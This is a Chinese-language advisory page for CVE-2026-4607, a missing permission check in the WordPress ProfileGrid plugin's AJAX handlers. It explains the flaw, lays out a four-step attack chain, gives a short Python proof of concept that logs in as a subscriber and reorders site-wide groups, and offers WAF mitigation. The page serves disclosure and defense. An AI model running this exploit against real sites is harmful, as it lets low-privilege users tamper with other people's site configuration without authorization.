IPBUF安全漏洞报告
English
CVE-2026-4607 CVSS 4.3 中危

CVE-2026-4607: ProfileGrid权限绕过漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-4607
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress ProfileGrid插件

相关标签

WordPress权限绕过IDORProfileGridAJAX

漏洞概述

WordPress插件ProfileGrid在5.9.8.4及以下版本中存在权限绕过漏洞。该漏洞源于插件未能正确验证用户是否有权限执行特定AJAX操作(如pm_set_group_order等)。这导致拥有订阅者及以上权限的经过身份验证的攻击者,可以绕过安全检查,修改全站的ProfileGrid组设置,包括组菜单顺序、组列表顺序、组图标显示和字段排序等。由于攻击仅需低权限账号且无需用户交互,该漏洞对网站的数据完整性构成中等风险。

技术细节

该漏洞的根源在于WordPress插件ProfileGrid的后端管理代码中缺乏严格的权限校验机制。具体而言,在`class-profile-magic-admin.php`文件中,注册了`pm_set_group_order`、`pm_set_group_items`和`pm_set_field_order`这三个AJAX动作来处理前端发来的设置修改请求。当这些动作被触发时,对应的回调函数直接执行了更新数据库选项(如组排序、字段排序)的操作,而没有调用`current_user_can()`函数来验证当前用户是否具备管理插件或管理站点的权限。攻击者利用此缺陷,只需拥有一个低权限的订阅者账户,即可向`/wp-admin/admin-ajax.php`端点发送特制的POST请求。请求中包含恶意的参数(如新的排序数据),服务器在处理时会误以为是管理员操作,从而允许攻击者篡改网站的全局配置。

攻击链分析

STEP 1
侦察阶段
攻击者确认目标站点安装了存在漏洞的ProfileGrid插件(版本<=5.9.8.4)。
STEP 2
获取访问权限
攻击者在目标站点注册一个普通用户账户(订阅者级别),获取认证凭证。
STEP 3
漏洞利用
攻击者使用获取的凭证登录,并向`/wp-admin/admin-ajax.php`发送特制的POST请求,触发`pm_set_group_order`等AJAX动作,且未经过权限检查。
STEP 4
达成目标
服务器接受请求并更新数据库,导致站点的ProfileGrid组设置被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" password = "password" # 1. Login to get cookies login_url = "http://example.com/wp-login.php" session = requests.Session() payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': 'http://example.com/wp-admin/', 'testcookie': '1' } session.post(login_url, data=payload) # 2. Exploit Authorization Bypass # Action: pm_set_group_order exploit_data = { 'action': 'pm_set_group_order', 'order': ['1', '3', '2'] # Malicious order } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully. Check group order settings.") else: print("[-] Failed to send exploit.")

影响范围

ProfileGrid – User Profiles, Groups and Communities <= 5.9.8.4

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用ProfileGrid插件,或者通过Web应用防火墙(WAF)拦截对`/wp-admin/admin-ajax.php`中`action=pm_set_group_order`等相关参数的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表